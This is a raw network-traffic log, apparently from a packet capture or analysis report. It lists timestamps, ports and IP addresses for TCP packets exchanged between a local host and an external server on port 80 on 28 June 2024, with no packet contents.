Jun 28, 2024 22:32:04.859277010 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.859283924 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:04.859299898 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:04.859319925 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:04.875969887 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.876005888 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.876018047 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.876020908 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:04.876061916 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:04.876210928 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.876220942 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.876230955 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.876256943 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:04.876281977 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:04.876468897 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.876478910 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.876491070 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.876501083 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.876511097 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.876517057 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:04.876522064 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.876538038 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:04.876559019 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:04.876996040 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.877007008 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.877016068 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.877026081 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.877034903 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.877044916 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.877054930 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.877057076 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:04.877063990 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.877074003 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.877079010 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:04.877087116 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.877099991 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:04.877125025 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:04.877837896 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.877846956 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.877856016 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.877866030 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.877875090 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.877883911 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:04.877886057 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.877896070 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.877904892 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.877917051 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.877922058 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:04.877927065 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.877938032 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.877947092 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.877948046 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:04.877964973 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:04.877990007 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:04.879255056 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.879267931 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.879277945 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.879287004 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.879297018 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.879306078 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:04.879308939 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.879317999 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.879328966 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.879337072 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.879348040 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.879358053 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:04.879398108 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:04.879580021 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.879590034 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.879605055 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.879616022 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.879622936 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:04.879631042 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.879641056 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:04.879642963 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.879652023 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.879662037 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.879672050 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.879677057 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.879688978 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.879698038 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.879714012 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:04.879741907 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:04.880439043 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.880491018 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:04.880644083 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.880654097 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.880665064 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.880675077 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.880691051 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:04.880707026 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:04.880791903 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.880804062 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.880812883 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.880836010 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:04.880867958 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:04.880934954 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.880949020 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.880975008 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:04.881002903 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:04.881081104 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.881092072 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.881124973 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:04.884308100 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.884319067 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.884327888 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.884337902 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.884350061 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.884373903 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:04.884399891 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:04.950136900 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.950187922 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.950198889 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.950237036 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:04.950273037 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:04.950445890 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.950458050 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.950468063 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.950498104 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:04.950522900 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:04.950587034 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.950613976 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.950624943 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.950634003 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:04.950637102 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.950648069 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.950654984 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:04.950661898 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.950679064 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:04.950712919 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:04.951176882 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.951186895 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.951245070 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:04.955513954 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.955571890 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.955573082 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:04.955583096 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.955619097 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:04.955717087 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.955729008 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.955739021 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.955750942 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.955765009 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:04.955790043 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:04.955960035 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.955971003 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.955981970 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.956002951 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:04.956031084 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.956038952 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:04.956043005 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.956053019 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.956063986 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.956074953 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.956075907 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:04.956088066 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.956114054 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:04.956147909 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:04.956577063 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.956587076 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.956597090 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.956608057 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.956624985 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:04.956660986 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:04.968607903 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.968652010 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.968662024 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.968691111 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:04.968729019 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:04.968782902 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.968792915 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.968801975 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.968812943 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.968828917 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:04.968852043 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:04.969218016 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.969228029 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.969237089 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.969247103 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.969265938 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:04.969289064 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:04.969356060 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.969398022 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:04.969424963 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.969435930 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.969444990 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.969455004 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.969461918 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:04.969491005 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:04.969508886 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:04.969793081 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.969803095 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.969813108 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.969821930 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.969831944 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.969831944 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:04.969854116 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:04.969892025 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:04.970225096 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.970235109 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.970243931 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.970252991 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.970262051 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.970269918 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:04.970273018 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.970283031 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.970293999 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:04.970297098 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.970308065 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.970316887 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:04.970318079 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.970349073 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:04.970366955 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:04.970931053 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.970942020 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.970949888 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.970977068 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:04.971012115 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:04.971071005 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.971115112 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:04.971167088 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.971178055 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.971193075 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.971203089 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.971209049 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:04.971213102 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.971223116 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.971230030 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:04.971234083 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.971242905 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.971273899 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:04.971297026 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:04.971950054 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.971960068 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.971967936 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.971977949 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.971987963 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.971995115 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:04.971997976 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.972007036 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.972016096 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.972027063 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.972035885 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.972035885 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:04.972045898 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.972055912 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:04.972057104 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.972081900 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:04.972100019 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:04.972980976 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.972990990 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.973001003 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.973011971 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.973020077 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.973030090 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.973037958 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:04.973041058 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.973048925 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.973058939 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.973067999 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.973068953 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:04.973078012 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.973088026 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.973097086 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.973103046 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:04.973131895 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:04.973155975 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:04.973874092 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.973884106 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.973893881 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.973903894 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.973918915 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.973923922 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:04.973929882 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.973939896 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.973951101 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.973961115 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:04.973963022 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:04.973988056 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:04.974005938 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.041907072 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.041985989 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.041996002 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.042004108 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.042041063 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.042185068 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.042195082 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.042203903 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.042213917 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.042222977 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.042236090 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.042258024 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.042282104 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.042448997 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.042462111 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.042478085 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.042488098 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.042495966 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.042496920 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.042507887 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.042520046 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.042561054 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.042824984 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.042834997 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.042843103 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.042874098 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.042890072 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.048017979 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.048048973 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.048083067 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.048084974 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.048110008 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.048135042 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.048181057 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.048217058 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.048232079 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.048266888 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.048310041 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.048357964 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.048401117 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.048418045 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.048433065 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.048449039 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.048450947 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.048469067 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.048506975 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.048679113 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.048688889 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.048722982 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.048741102 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.048752069 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.048758030 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.048762083 CEST	80	49731	85.28.47.4	192.168.2.4
